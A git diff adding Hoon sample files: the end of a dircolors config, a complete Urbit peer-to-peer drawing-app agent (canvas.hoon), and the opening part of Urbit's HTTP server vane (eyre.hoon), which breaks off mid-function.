+.opus 38;5;45
+.ra   38;5;45
+.spx  38;5;45
+.wav  38;5;45
+.xspf 38;5;45
+# }}}
+# }}}
+
+# vim:ft=dircolors:
diff --git a/samples/hoon/canvas.hoon b/samples/hoon/canvas.hoon
new file mode 100644
index 0000000000..4492086e4f
--- /dev/null
+++ b/samples/hoon/canvas.hoon
@@ -0,0 +1,438 @@
+::  canvas: A p2p drawing app
+::
+::    data:            scry command:
+::    ------------    ----------------------------------------------
+::    canvas           .^(canvas %gx /=canvas=/canvas/<ship>/<canvas>/noun)
+::    gallery          .^((list canvas) %gx /=canvas=/gallery/noun)
+::
+::  State
+::
+/-  *canvas, file-server, launch-store
+/+  *server, default-agent, verb, dbug,
+    *canvas,
+    *canvas-templates
+::
+=>  |%
+    +$  card  card:agent:gall
+    ::
+    +$  state-zero
+      $:  %0
+          gallery=(map location canvas)
+      ==
+    --
+::
+=|  state-zero
+=*  state  -
+::  Main
+::
+%-  agent:dbug
+^-  agent:gall
+=<  |_  =bowl:gall
+    +*  this         .
+        canvas-core  +>
+        cc           ~(. canvas-core bowl)
+        def          ~(. (default-agent this %|) bowl)
+    ::
+    ++  on-init
+      ^-  (quip card _this)
+      ~&  >  "[ init canvas - / welcome / ]"
+      =|  cards=(list card)
+      =/  name=@t  'welcome'
+      =/  =canvas  (welcome ~ name our.bowl &)
+      =.  gallery.state  (~(put by gallery) [[our.bowl name] canvas])
+      =/  has-file=?
+        (gall-scry:cc ? %file-server /url/'~canvas'/noun)
+      =/  has-tile=?
+        (~(has in (gall-scry:cc (set @tas) %launch /keys/noun)) %canvas)
+      =?  cards  !has-file
+        =/  file=action:file-server
+          [%serve-dir /'~canvas' /app/canvas %.n %.y]
+        :_  cards
+        (poke-our:cc %file-server %file-server-action !>(file))
+      =?  cards  !has-tile
+        =/  tile=action:launch-store
+          [%add %canvas [%custom `'/~canvas' `'/~canvas/img/tile.svg'] %.y]
+        :_  cards
+        (poke-our:cc %launch %launch-action !>(tile))
+      ::
+      [cards this]
+    ::
+    ++  on-save  !>(state)
+    ::
+    ++  on-load
+      |=  old=vase
+      ^-  (quip card _this)
+      =|  cards=(list card)
+      =/  has-file=?
+        (gall-scry:cc ? %file-server /url/'~canvas'/noun)
+      =/  has-tile=?
+        (~(has in (gall-scry:cc (set @tas) %launch /keys/noun)) %canvas)
+      =?  cards  !has-file
+        =/  file=action:file-server
+          [%serve-dir /'~canvas' /app/canvas %.n %.y]
+        :_  cards
+        (poke-our:cc %file-server %file-server-action !>(file))
+      =?  cards  !has-tile
+        =/  tile=action:launch-store
+          [%add %canvas [%custom `'/~canvas' `'/~canvas/img/tile.svg'] %.y]
+        :_  cards
+        (poke-our:cc %launch %launch-action !>(tile))
+      ::
+      [cards this(state !<(state-zero old))]
+    ::
+    ++  on-poke
+      |=  [=mark =vase]
+      ^-  (quip card _this)
+      ?+    mark  (on-poke:def mark vase)
+          %canvas-action
+        =^  cards  state
+          (handle-canvas-action:cc !<(canvas-action vase))
+        [cards this]
+      ::
+          %json
+        ?>  (team:title our.bowl src.bowl)
+        =^  cards  state
+          %-  handle-canvas-action:cc
+          (json-to-canvas-view !<(json vase))
+        [cards this]
+      ==
+    ::
+    ++  on-watch
+      |=  =path
+      ^-  (quip card _this)
+      :_  this
+      ?+    path  ~|([%peer-canvas-strange path] !!)
+          [%frontend *]
+        =^  cards  state
+          (handle-canvas-action:cc [%init ~])
+        cards
+      ::
+          [%canvas ^]
+        =^  cards  state
+           (send-init-canvas:cc i.t.path)
+        cards
+      ==
+    ::
+    ++  on-agent
+      |=  [=wire =sign:agent:gall]
+      ^-  (quip card _this)
+      ?-    -.sign
+          %poke-ack   (on-agent:def wire sign)
+          %watch-ack  (on-agent:def wire sign)
+          %kick       (on-agent:def wire sign)
+      ::
+          %fact
+        =^  cards  state
+          =*  vase  q.cage.sign
+          ^-  (quip card _state)
+          ?+    p.cage.sign  ~|([%canvas-bad-update-mark wire vase] !!)
+              %canvas-update
+            (handle-canvas-update:cc !<(canvas-update vase))
+          ==
+        [cards this]
+      ==
+    ::
+    ++  on-arvo
+      |=  [=wire =sign-arvo]
+      ^-  (quip card:agent:gall _this)
+      ?:  ?=(%bound +<.sign-arvo)  [~ this]
+      (on-arvo:def wire sign-arvo)
+    ::
+    ++  on-leave  on-leave:def
+    ::
+    ++  on-peek
+      |=  =path
+      ^-  (unit (unit cage))
+      ?.  (team:title our.bowl src.bowl)  ~
+      ?+    path  (on-peek:def path)
+          [%x %canvas @t @t ~]
+
+        =+  out=(~(got by gallery) (extract-location t.t.path))
+        ``noun+!>(out)
+      ::
+          [%x %gallery ~]
+        ``noun+!>(~(val by gallery))
+      ==
+    ::
+    ++  on-fail   on-fail:def
+    --
+::
+|_  =bowl:gall
+::
+++  handle-canvas-action
+  |=  act=canvas-action
+  ^-  (quip card _state)
+  |^
+  ?+  -.act  !!
+    %init    [handle-init state]
+    %paint   (handle-paint +.act)
+    %join    (handle-join +.act)
+    %leave   (handle-leave +.act)
+    %create  (handle-create +.act)
+    %save    (handle-save +.act)
+    %unlock  (handle-unlock +.act)
+  ==
+  ::
+  ++  handle-init
+    ^-  (list card)
+    %-  send-frontend
+    (canvas-view-response-to-json %init-frontend ~(val by gallery) ~)
+  ::
+  ++  handle-paint
+    |=  [location=@p name=@t strokes=(list stroke)]
+    ^-  (quip card _state)
+    (process-remote-paint location name strokes)
+  ::
+  ++  handle-join
+    |=  [=ship name=@t]
+    ^-  (quip card _state)
+    ?>  (team:title our.bowl src.bowl)
+    ~&  >  "[ join ]"
+    [[(subscribe ship name)]~ state]
+  ::
+  ++  handle-leave
+    |=  [=ship name=@t]
+    ^-  (quip card _state)
+    ~&  >>  ["[ leave ]" ship name]
+    ?>  (team:title our.bowl src.bowl)
+    =/  new-name=@t
+      (crip "{(trip name)}-{(trip (scot %da now.bowl))}")
+    =/  =canvas  (~(got by gallery) [ship name])
+    ::  the canvas becomes local and private
+    ::  and it's archived under the old name and the date
+    ::
+    =.  metadata.canvas
+      %_  metadata.canvas
+        private   &
+        location  our.bowl
+        name      new-name
+      ==
+    =/  load
+      ::[%give %fact [/updates]~ %canvas-action !>([%load new-name canvas])]
+      (send-frontend (canvas-view-response-to-json %load new-name canvas))
+    :-  [(leave ship name) load]
+    %_    state
+        gallery
+      (~(put by (~(del by gallery) [ship name])) [our.bowl new-name] canvas)
+    ==
+  ::
+  ++  handle-create
+    |=  =canvas
+    ^-  (quip card _state)
+    ?>  (team:title our.bowl src.bowl)
+    =*  name  name.metadata.canvas
+    =*  private  private.metadata.canvas
+    ~&  >  ["[ create ]" name]
+    =.  canvas
+      %.  [canvas name our.bowl private]
+      ?+  template.metadata.canvas  blank
+        %mesh-welcome    welcome
+        %mesh-monkey     monkey
+        %mesh-homer      homer
+        %mesh-dumas      dumas-dutil
+        %mesh-hackathon  hackathon
+      ==
+    =/  load=canvas-view-response
+      [%load name.metadata.canvas canvas]
+    :-  (send-frontend (canvas-view-response-to-json load))
+    %_    state
+        gallery
+      (~(put by gallery) [[our.bowl name.metadata.canvas] canvas])
+    ==
+  ::
+  ++  handle-save
+    |=  [=ship name=@t file=@t]
+    ^-  (quip card _state)
+    ?>  (team:title our.bowl src.bowl)
+    =/  canvas=(unit canvas)  (~(get by gallery) [ship name])
+    :-  ~
+    ?~  canvas  state
+    =.  file.metadata.u.canvas  `file
+    state(gallery (~(put by gallery) [ship name] u.canvas))
+  ::
+  ++  handle-unlock
+    |=  name=@t
+    ^-  (quip card _state)
+    ?>  (team:title our.bowl src.bowl)
+    ~&  >>  "[ unlock ] / TBA"
+    ?:  &  `state
+    ?>  (team:title our.bowl src.bowl)
+    =/  =canvas  (~(got by gallery) [our.bowl name])
+    =.  private.metadata.canvas  |
+    :-  ~
+    state(gallery (~(put by gallery) [our.bowl name] canvas))
+  ::
+  --
+::
+++  handle-canvas-update
+  |=  act=canvas-update
+  ^-  (quip card _state)
+  |^
+  ?-  -.act
+    %load    (handle-load +.act)
+    %paint   (handle-paint +.act)
+  ==
+  ::
+  ++  handle-load
+    |=  [name=@t =canvas]
+    ^-  (quip card _state)
+    ~&  >  "loading canvas..."
+    :_  state(gallery (~(put by gallery) [[src.bowl name] canvas]))
+    (send-frontend (canvas-view-response-to-json %load +<))
+  ::
+  ++  handle-paint
+    |=  [location=@p name=@t strokes=(list stroke) who=@p]
+    ^-  (quip card _state)
+    ?:  =(who our.bowl)
+      ::  we receive an update for a stroke we originaly sent; discard
+      ::
+      `state
+    (process-remote-paint location name strokes)
+  --
+::
+++  process-remote-paint
+  |=  [location=@p name=@t strokes=(list stroke)]
+  ^-  (quip card _state)
+  ?>  ?=(^ strokes)
+  =/  canvas=(unit canvas)  (~(get by gallery) [location name])
+  ?~  canvas  `state
+  ?.  =(-.i.strokes -.u.canvas)  `state
+  |^
+  =*  meta  metadata.u.canvas
+  :-  (send-effects strokes)
+  %_    state
+      gallery
+    %+  ~(put by gallery)
+      [location name]
+    ^-  ^canvas
+    ?-  -.u.canvas
+      %mesh  [%mesh (update-mesh mesh.u.canvas strokes) meta]
+      %draw  [%draw (update-draw draw.u.canvas strokes) meta]
+    ==
+  ==
+  ::
+  ++  send-effects
+    |=  strokes=(list stroke)
+    ^-  (list card)
+    ?.  (team:title our.bowl src.bowl)
+      ::  stroke from a remote ship
+      ::
+      :-  [(send-paint-update name strokes src.bowl)]
+      %-  send-frontend
+      %-  canvas-view-response-to-json
+      [%paint location name strokes]
+    ::  stroke from frontend
+    ::
+    ?:  =(location our.bowl)
+      [(send-paint-update name strokes our.bowl)]~
+      :: =/  paint  !>([%paint location name strokes])
+      :: :~  [%give %fact [/updates]~ %canvas-view paint]
+      ::     [(send-paint-update name strokes src.bowl)]
+      :: ==
+    [(update-remote-canvas location name strokes)]~
+  ::
+  ++  update-mesh
+    |=  [=mesh strokes=(list stroke)]
+    ^-  ^mesh
+    |-
+    ?~  strokes  mesh
+    ?>  ?=(%mesh -.i.strokes)
+    %_    $
+        strokes
+      t.strokes
+    ::
+        mesh
+      ?~  arc.i.strokes
+        (~(del by mesh) id.i.strokes)
+      (~(put by mesh) [id.i.strokes u.arc.i.strokes])
+    ==
+  ::
+  ++  update-draw
+    |=  [=draw strokes=(list stroke)]
+    ^-  ^draw
+    |-
+    ?~  strokes  draw
+    ?>  ?=([%draw *] i.strokes)
+    %_  $
+      draw     (snoc draw form.i.strokes)
+      strokes  t.strokes
+    ==
+  --
+::
+++  extract-location
+  |=  =path
+  ^-  [ship @t]
+  ?>  ?=([@t @t ~] path)
+  :_  i.t.path
+  (rash i.path ;~(pfix sig fed:ag))
+::
+++  subscribe
+  |=  [=ship name=@t]
+  ^-  card
+  :*  %pass
+      /subscribe/(scot %p ship)/(scot %tas name)
+      %agent
+      [ship %canvas]
+      %watch
+      /canvas/(scot %tas name)
+  ==
+::
+++  poke-our
+  |=  [app=term =cage]
+  ^-  card
+  [%pass / %agent [our.bowl app] %poke cage]
+::
+++  gall-scry
+  |*  [=mold app=@tas =path]
+  .^(mold %gx (weld /(scot %p our.bowl)/[app]/(scot %da now.bowl) path))
+::
+++  leave
+  |=  [=ship name=@t]
+  ^-  card
+  :*  %pass
+      /subscribe/(scot %p ship)/(scot %tas name)
+      %agent
+      [ship %canvas]
+      %leave
+      ~
+  ==
+::
+++  send-init-canvas
+  |=  name=@t
+  ^-  (quip card _state)
+  =/  canvas=(unit canvas)  (~(get by gallery) [our.bowl name])
+  ?~  canvas  `state
+  ~&  >  ['subscribing...' src.bowl private.metadata.u.canvas]
+  ?:  private.metadata.u.canvas
+    ~|([%subs-not-allowed name] !!)
+  :_  state
+  [%give %fact ~ %canvas-update !>([%load name u.canvas])]~
+::
+++  send-paint-update
+  |=  [name=@t strokes=(list stroke) who=@p]
+  ^-  card
+  :*  %give
+      %fact
+      [/canvas/(scot %tas name)]~
+      %canvas-update
+      !>([%paint our.bowl name strokes who])
+  ==
+::
+++  send-frontend
+  |=  =json
+  ^-  (list card)
+  [%give %fact [/frontend]~ %json !>(json)]~
+::
+++  update-remote-canvas
+  |=  [location=@p name=@t strokes=(list stroke)]
+  ^-  card
+  ?>  ?=(^ strokes)
+  :*  %pass
+      [%paint name ~]
+      %agent
+      [location %canvas]
+      %poke
+      %canvas-action
+      !>([%paint location name strokes])
+  ==
+--
diff --git a/samples/hoon/eyre.hoon b/samples/hoon/eyre.hoon
new file mode 100644
index 0000000000..562c33b465
--- /dev/null
+++ b/samples/hoon/eyre.hoon
@@ -0,0 +1,2628 @@
+!:
+::  lighter than eyre
+::
+|=  our=ship
+=,  eyre
+::  internal data structures
+::
+=>  =~
+::
+::  internal data structures that won't go in zuse
+::
+|%
++$  move
+  ::
+  $:  ::  duct: request identifier
+      ::
+      =duct
+      ::
+      ::
+      card=(wind note gift)
+  ==
+::  +note: private request from eyre to another vane
+::
++$  note
+  $%  ::  %b: to behn
+      ::
+      $:  %b
+          ::
+          ::
+          $%  [%rest p=@da]
+              [%wait p=@da]
+      ==  ==
+      $:  %c
+          $>(%warp task:clay)
+      ==
+      ::  %d: to dill
+      ::
+      $:  %d
+          ::
+          ::
+      $%  [%flog =flog:dill]
+      ==  ==
+      ::  %g: to gall
+      ::
+      $:  %g
+          ::
+          ::
+          $>(%deal task:gall)
+  ==  ==
+::  +sign: private response from another vane to eyre
+::
++$  sign
+  $%  $:  %behn
+          $%  [%wake error=(unit tang)]
+      ==  ==
+      $:  %gall
+          gift:gall
+          ::  $>(%unto gift:gall)
+          ::
+      ==
+      $:  %clay
+          gift:clay
+          ::  $>(%writ gift:clay)
+          ::
+  ==  ==
+--
+::  more structures
+::
+|%
+++  axle
+  $:  ::  date: date at which http-server's state was updated to this data structure
+      ::
+      date=%~2020.10.18
+      ::  server-state: state of inbound requests
+      ::
+      =server-state
+  ==
+::  +server-state: state relating to open inbound HTTP connections
+::
++$  server-state
+  $:  ::  bindings: actions to dispatch to when a binding matches
+      ::
+      ::    Eyre is responsible for keeping its bindings sorted so that it
+      ::    will trigger on the most specific binding first. Eyre should send
+      ::    back an error response if an already bound binding exists.
+      ::
+      ::    TODO: It would be nice if we had a path trie. We could decompose
+      ::    the :binding into a (map (unit @t) (trie knot =action)).
+      ::
+      bindings=(list [=binding =duct =action])
+      ::  cors-registry: state used and managed by the +cors core
+      ::
+      =cors-registry
+      ::  connections: open http connections not fully complete
+      ::
+      connections=(map duct outstanding-connection)
+      ::  authentication-state: state managed by the +authentication core
+      ::
+      =authentication-state
+      ::  channel-state: state managed by the +channel core
+      ::
+      =channel-state
+      ::  domains: domain-names that resolve to us
+      ::
+      domains=(set turf)
+      ::  http-config: our server configuration
+      ::
+      =http-config
+      ::  ports: live servers
+      ::
+      ports=[insecure=@ud secure=(unit @ud)]
+      ::  outgoing-duct: to unix
+      ::
+      outgoing-duct=duct
+  ==
+::  channel-request: an action requested on a channel
+::
++$  channel-request
+  $%  ::  %ack: acknowledges that the client has received events up to :id
+      ::
+      [%ack event-id=@ud]
+      ::  %poke: pokes an application, translating :json to :mark.
+      ::
+      [%poke request-id=@ud ship=@p app=term mark=@tas =json]
+      ::  %watch: subscribes to an application path
+      ::
+      [%subscribe request-id=@ud ship=@p app=term =path]
+      ::  %leave: unsubscribes from an application path
+      ::
+      [%unsubscribe request-id=@ud subscription-id=@ud]
+      ::  %delete: kills a channel
+      ::
+      [%delete ~]
+  ==
+::  clog-timeout: the delay between acks after which clog-threshold kicks in
+::
+++  clog-timeout     ~s30
+::  clog-threshold: maximum per-subscription event buildup, after clog-timeout
+::
+++  clog-threshold   50
+::  channel-timeout: the delay before a channel should be reaped
+::
+++  channel-timeout  ~h12
+::  session-timeout: the delay before an idle session expires
+::
+++  session-timeout  ~d7
+--
+::  utilities
+::
+|%
+::  +combine-octs: combine multiple octs into one
+::
+++  combine-octs
+  |=  a=(list octs)
+  ^-  octs
+  :-  %+  roll  a
+      |=  [=octs sum=@ud]
+      (add sum p.octs)
+  (can 3 a)
+::  +prune-events: removes all items from the front of the queue up to :id
+::
+::    also produces, per request-id, the amount of events that have got acked,
+::    for use with +subtract-acked-events.
+::
+++  prune-events
+  =|  acked=(map @ud @ud)
+  |=  [q=(qeu [id=@ud @ud channel-event]) id=@ud]
+  ^+  [acked q]
+  ::  if the queue is now empty, that's fine
+  ::
+  ?:  =(~ q)
+    [acked ~]
+  ::
+  =/  next=[item=[id=@ud request-id=@ud channel-event] _q]  ~(get to q)
+  ::  if the head of the queue is newer than the acknowledged id, we're done
+  ::
+  ?:  (gth id.item.next id)
+    [acked q]
+  ::  otherwise, note the ack, and check next item
+  ::
+  %_  $
+    q  +:next
+  ::
+      acked
+    =,  item.next
+    %+  ~(put by acked)  request-id
+    +((~(gut by acked) request-id 0))
+  ==
+::  +subtract-acked-events: update the subscription map's pending ack counts
+::
+++  subtract-acked-events
+  |=  [acked=(map @ud @ud) unacked=(map @ud @ud)]
+  ^+  unacked
+  %+  roll  ~(tap by acked)
+  |=  [[rid=@ud ack=@ud] unacked=_unacked]
+  ?~  sus=(~(get by unacked) rid)
+    unacked
+  %+  ~(put by unacked)  rid
+  ?:  (lte u.sus ack)  0
+  (sub u.sus ack)
+::  +parse-channel-request: parses a list of channel-requests
+::
+::    Parses a json array into a list of +channel-request. If any of the items
+::    in the list fail to parse, the entire thing fails so we can 400 properly
+::    to the client.
+::
+++  parse-channel-request
+  |=  request-list=json
+  ^-  (unit (list channel-request))
+  ::  parse top
+  ::
+  =,  dejs-soft:format
+  =-  ((ar -) request-list)
+  ::
+  |=  item=json
+  ^-  (unit channel-request)
+  ::
+  ?~  maybe-key=((ot action+so ~) item)
+    ~
+  ?:  =('ack' u.maybe-key)
+    ((pe %ack (ot event-id+ni ~)) item)
+  ?:  =('poke' u.maybe-key)
+    ((pe %poke (ot id+ni ship+(su fed:ag) app+so mark+(su sym) json+some ~)) item)
+  ?:  =('subscribe' u.maybe-key)
+    %.  item
+    %+  pe  %subscribe
+    (ot id+ni ship+(su fed:ag) app+so path+(su stap) ~)
+  ?:  =('unsubscribe' u.maybe-key)
+    %.  item
+    %+  pe  %unsubscribe
+    (ot id+ni subscription+ni ~)
+  ?:  =('delete' u.maybe-key)
+    `[%delete ~]
+  ::  if we reached this, we have an invalid action key. fail parsing.
+  ::
+  ~
+::  +login-page: internal page to login to an Urbit
+::
+++  login-page
+  |=  [redirect-url=(unit @t) our=@p failed=?]
+  ^-  octs
+  =+  redirect-str=?~(redirect-url "" (trip u.redirect-url))
+  %-  as-octs:mimes:html
+  %-  crip
+  %-  en-xml:html
+  =/  favicon  %+
+    weld  "<svg width='10' height='10' viewBox='0 0 10 10' xmlns='http://www.w3.org/2000/svg'>"
+          "<circle r='3.09' cx='5' cy='5' /></svg>"
+  ;html
+    ;head
+      ;meta(charset "utf-8");
+      ;meta(name "viewport", content "width=device-width, initial-scale=1, shrink-to-fit=no");
+      ;link(rel "icon", type "image/svg+xml", href (weld "data:image/svg+xml;utf8," favicon));
+      ;title:"OS1"
+      ;style:'''
+             @import url("https://rsms.me/inter/inter.css");
+             @font-face {
+                 font-family: "Source Code Pro";
+                 src: url("https://storage.googleapis.com/media.urbit.org/fonts/scp-regular.woff");
+                 font-weight: 400;
+                 font-display: swap;
+             }
+             :root {
+               --red05: rgba(255,65,54,0.05);
+               --red100: rgba(255,65,54,1);
+               --blue05: rgba(33,157,255,0.05);
+               --blue30: rgba(33,157,255,0.3);
+               --blue100: rgba(33,157,255,1);
+               --black05: rgba(0,0,0,0.05);
+               --black20: rgba(0,0,0,0.2);
+               --black60: rgba(0,0,0,0.6);
+               --white: rgba(255,255,255,1);
+             }
+             html {
+               font-family: Inter, sans-serif;
+               height: 100%;
+               margin: 0;
+               width: 100%;
+               background: var(--white);
+               color: var(--black100);
+               -webkit-font-smoothing: antialiased;
+               line-height: 1.5;
+               font-size: 12px;
+               display: flex;
+               flex-flow: row nowrap;
+               justify-content: center;
+             }
+             body {
+               display: flex;
+               flex-flow: column nowrap;
+               justify-content: center;
+               max-width: 300px;
+               padding: 1rem;
+               width: 100%;
+             }
+             body > *,
+             form > input {
+               width: 100%;
+             }
+             form {
+               display: flex;
+               flex-flow: column;
+               align-items: flex-start;
+             }
+             input {
+               background: transparent;
+               border: 1px solid var(--black20);
+               padding: 8px;
+               border-radius: 4px;
+               font-size: inherit;
+               color: var(--black);
+               box-shadow: none;
+             }
+             input:disabled {
+               background: var(--black05);
+               color: var(--black60);
+             }
+             input:focus {
+               outline: none;
+               border-color: var(--blue30);
+             }
+             input:invalid:not(:focus) {
+               background: var(--red05);
+               border-color: var(--red100);
+               outline: none;
+               color: var(--red100);
+             }
+             button[type=submit] {
+               margin-top: 16px;
+               padding: 8px 16px;
+               border-radius: 4px;
+               background: var(--blue100);
+               color: var(--white);
+               border: 1px solid var(--blue100);
+             }
+             input:invalid ~ button[type=submit] {
+               border-color: currentColor;
+               background: var(--blue05);
+               color: var(--blue30);
+               pointer-events: none;
+             }
+             span.failed {
+               display: flex;
+               flex-flow: row nowrap;
+               height: 16px;
+               align-items: center;
+               margin-top: 6px;
+               color: var(--red100);
+             }
+             span.failed svg {
+               height: 12px;
+              margin-right: 6px;
+             }
+             span.failed circle,
+             span.failed line {
+               fill: transparent;
+               stroke: currentColor
+             }
+             .mono {
+               font-family: 'Source Code Pro', monospace;
+             }
+             @media all and (prefers-color-scheme: dark) {
+               :root {
+                 --white: rgb(51, 51, 51);
+                 --black100: rgba(255,255,255,1);
+                 --black05: rgba(255,255,255,0.05);
+                 --black20: rgba(255,255,255,0.2);
+               }
+             }
+             '''
+    ==
+    ;body
+      ;p:"Urbit ID"
+      ;input(value "{(scow %p our)}", disabled "true", class "mono");
+      ;p:"Access Key"
+      ;form(action "/~/login", method "post", enctype "application/x-www-form-urlencoded")
+        ;input
+          =type  "password"
+          =name  "password"
+          =placeholder  "sampel-ticlyt-migfun-falmel"
+          =class  "mono"
+          =required  "true"
+          =minlength  "27"
+          =maxlength  "27"
+          =pattern  "((?:[a-z]\{6}-)\{3}(?:[a-z]\{6}))"
+          =autofocus  "true";
+        ;input(type "hidden", name "redirect", value redirect-str);
+        ;+  ?.  failed  ;span;
+          ;span.failed
+            ;svg(xmlns "http://www.w3.org/2000/svg", viewBox "0 0 12 12")
+              ;circle(cx "6", cy "6", r "5.5");
+              ;line(x1 "3.27", y1 "3.27", x2 "8.73", y2 "8.73");
+              ;line(x1 "8.73", y1 "3.27", x2 "3.27", y2 "8.73");
+            ==
+            Key is incorrect
+          ==
+          ;button(type "submit"):"Continue"
+      ==
+    ==
+    ;script:'''
+            var failSpan = document.querySelector('.failed');
+            if (failSpan) {
+              document.querySelector("input[type=password]")
+                .addEventListener('keyup', function (event) {
+                  failSpan.style.display = 'none';
+                });
+            }
+            '''
+  ==
+::  +render-tang-to-marl: renders a tang and adds <br/> tags between each line
+::
+++  render-tang-to-marl
+  |=  [wid=@u tan=tang]
+  ^-  marl
+  =/  raw=(list tape)  (zing (turn tan |=(a=tank (wash 0^wid a))))
+  ::
+  |-  ^-  marl
+  ?~  raw  ~
+  [;/(i.raw) ;br; $(raw t.raw)]
+::  +render-tang-to-wall: renders tang as text lines
+::
+++  render-tang-to-wall
+  |=  [wid=@u tan=tang]
+  ^-  wall
+  (zing (turn tan |=(a=tank (wash 0^wid a))))
+::  +wall-to-octs: text to binary output
+::
+++  wall-to-octs
+  |=  =wall
+  ^-  (unit octs)
+  ::
+  ?:  =(~ wall)
+    ~
+  ::
+  :-  ~
+  %-  as-octs:mimes:html
+  %-  crip
+  %-  zing  ^-  ^wall
+  %-  zing  ^-  (list ^wall)
+  %+  turn  wall
+  |=  t=tape
+  ^-  ^wall
+  ~[t "\0a"]
+::  +internal-server-error: 500 page, with a tang
+::
+++  internal-server-error
+  |=  [authorized=? url=@t t=tang]
+  ^-  octs
+  %-  as-octs:mimes:html
+  %-  crip
+  %-  en-xml:html
+  ;html
+    ;head
+      ;title:"500 Internal Server Error"
+    ==
+    ;body
+      ;h1:"Internal Server Error"
+      ;p:"There was an error while handling the request for {(trip url)}."
+      ;*  ?:  authorized
+            ;=
+              ;code:"*{(render-tang-to-marl 80 t)}"
+            ==
+          ~
+    ==
+  ==
+::  +error-page: error page, with an error string if logged in
+::
+++  error-page
+  |=  [code=@ud authorized=? url=@t t=tape]
+  ^-  octs
+  ::
+  =/  code-as-tape=tape  (format-ud-as-integer code)
+  =/  message=tape
+    ?+  code  "{(scow %ud code)} Error"
+      %400  "Bad Request"
+      %403  "Forbidden"
+      %404  "Not Found"
+      %405  "Method Not Allowed"
+      %500  "Internal Server Error"
+    ==
+  ::
+  %-  as-octs:mimes:html
+  %-  crip
+  %-  en-xml:html
+  ;html
+    ;head
+      ;title:"{code-as-tape} {message}"
+    ==
+    ;body
+      ;h1:"{message}"
+      ;p:"There was an error while handling the request for {(trip url)}."
+      ;*  ?:  authorized
+            ;=
+              ;code:"{t}"
+            ==
+          ~
+    ==
+  ==
+::  +format-ud-as-integer: prints a number for consumption outside urbit
+::
+++  format-ud-as-integer
+  |=  a=@ud
+  ^-  tape
+  ?:  =(0 a)  ['0' ~]
+  %-  flop
+  |-  ^-  tape
+  ?:(=(0 a) ~ [(add '0' (mod a 10)) $(a (div a 10))])
+::  +host-matches: %.y if the site :binding should be used to handle :host
+::
+++  host-matches
+  |=  [binding=(unit @t) host=(unit @t)]
+  ^-  ?
+  ::  if the binding allows for matching anything, match
+  ::
+  ?~  binding
+    %.y
+  ::  if the host is ~, that means we're trying to bind nothing to a real
+  ::  binding. fail.
+  ::
+  ?~  host
+    %.n
+  ::  otherwise, do a straight comparison
+  ::
+  =(u.binding u.host)
+::  +find-suffix: returns [~ /tail] if :full is (weld :prefix /tail)
+::
+++  find-suffix
+  |=  [prefix=path full=path]
+  ^-  (unit path)
+  ?~  prefix
+    `full
+  ?~  full
+    ~
+  ?.  =(i.prefix i.full)
+    ~
+  $(prefix t.prefix, full t.full)
+::  +simplified-url-parser: returns [(each @if @t) (unit port=@ud)]
+::
+++  simplified-url-parser
+  ;~  plug
+    ;~  pose
+      %+  stag  %ip
+      =+  tod=(ape:ag ted:ab)
+      %+  bass  256
+      ;~(plug tod (stun [3 3] ;~(pfix dot tod)))
+    ::
+      (stag %site (cook crip (star ;~(pose dot alp))))
+    ==
+    ;~  pose
+      (stag ~ ;~(pfix col dim:ag))
+      (easy ~)
+    ==
+  ==
+::  +per-server-event: per-event server core
+::
+++  per-server-event
+  ~%  %eyre-per-server-event  ..part  ~
+  ::  gate that produces the +per-server-event core from event information
+  ::
+  |=  [[eny=@ =duct now=@da rof=roof] state=server-state]
+  =/  eyre-id  (scot %ta (cat 3 'eyre_' (scot %uv (sham duct))))
+  |%
+  ::  +request-local: bypass authentication for local lens connections
+  ::
+  ++  request-local
+    |=  [secure=? =address =request:http]
+    ^-  [(list move) server-state]
+    ::
+    =/  act  [%app app=%lens]
+    ::
+    =/  connection=outstanding-connection
+      [act [& secure address request] ~ 0]
+    ::
+    =.  connections.state
+      (~(put by connections.state) duct connection)
+    ::
+    :_  state
+    (subscribe-to-app app.act inbound-request.connection)
+  ::  +request: starts handling an inbound http request
+  ::
+  ++  request
+    |=  [secure=? =address =request:http]
+    ^-  [(list move) server-state]
+    =*  headers  header-list.request
+    ::  for requests from localhost, respect the "forwarded" header
+    ::
+    =/  [secure=? =^address]
+      =*  same  [secure address]
+      ?.  =([%ipv4 .127.0.0.1] address)        same
+      ?~  forwards=(forwarded-params headers)  same
+      :-  (fall (forwarded-secure u.forwards) secure)
+      (fall (forwarded-for u.forwards) address)
+    ::
+    =/  host  (get-header:http 'host' headers)
+    =/  [=action suburl=@t]
+      (get-action-for-binding host url.request)
+    ::
+    =/  authenticated  (request-is-logged-in:authentication request)
+    ::  record that we started an asynchronous response
+    ::
+    =/  connection=outstanding-connection
+      [action [authenticated secure address request] ~ 0]
+    =.  connections.state
+      (~(put by connections.state) duct connection)
+    ::  figure out whether this is a cors request,
+    ::  whether the origin is approved or not,
+    ::  and maybe add it to the "pending approval" set
+    ::
+    =/  origin=(unit origin)
+      (get-header:http 'origin' headers)
+    =^  cors-approved  requests.cors-registry.state
+      =,  cors-registry.state
+      ?~  origin                         [| requests]
+      ?:  (~(has in approved) u.origin)  [& requests]
+      ?:  (~(has in rejected) u.origin)  [| requests]
+      [| (~(put in requests) u.origin)]
+    ::  if this is a cors preflight request from an approved origin
+    ::  handle it synchronously
+    ::
+    ?:  &(?=(^ origin) cors-approved ?=(%'OPTIONS' method.request))
+      %-  handle-response
+      =;  =header-list:http
+        [%start [204 header-list] ~ &]
+      ::  allow the method and headers that were asked for,
+      ::  falling back to wildcard if none specified
+      ::
+      ::NOTE  +handle-response will add the rest of the headers
+      ::
+      :~  :-  'Access-Control-Allow-Methods'
+          =-  (fall - '*')
+          (get-header:http 'access-control-request-method' headers)
+        ::
+          :-  'Access-Control-Allow-Headers'
+          =-  (fall - '*')
+          (get-header:http 'access-control-request-headers' headers)
+      ==
+    ::
+    ?-    -.action
+        %gen
+      =/  bek=beak  [our desk.generator.action da+now]
+      =/  sup=spur  path.generator.action
+      =/  ski       (rof ~ %ca bek sup)
+      =/  cag=cage  (need (need ski))
+      ?>  =(%vase p.cag)
+      =/  gat=vase  !<(vase q.cag)
+      =/  res=toon
+        %-  mock  :_  (look rof ~)
+        :_  [%9 2 %0 1]  |.
+        %+  slam
+          %+  slam  gat
+          !>([[now=now eny=eny bek=bek] ~ ~])
+        !>([authenticated request])
+      ?:  ?=(%2 -.res)
+        =+  connection=(~(got by connections.state) duct)
+        %^  return-static-data-on-duct  500  'text/html'
+        %:  internal-server-error
+            authenticated.inbound-request.connection
+            url.request.inbound-request.connection
+            leaf+"generator crashed"
+            p.res
+        ==
+      ?:  ?=(%1 -.res)
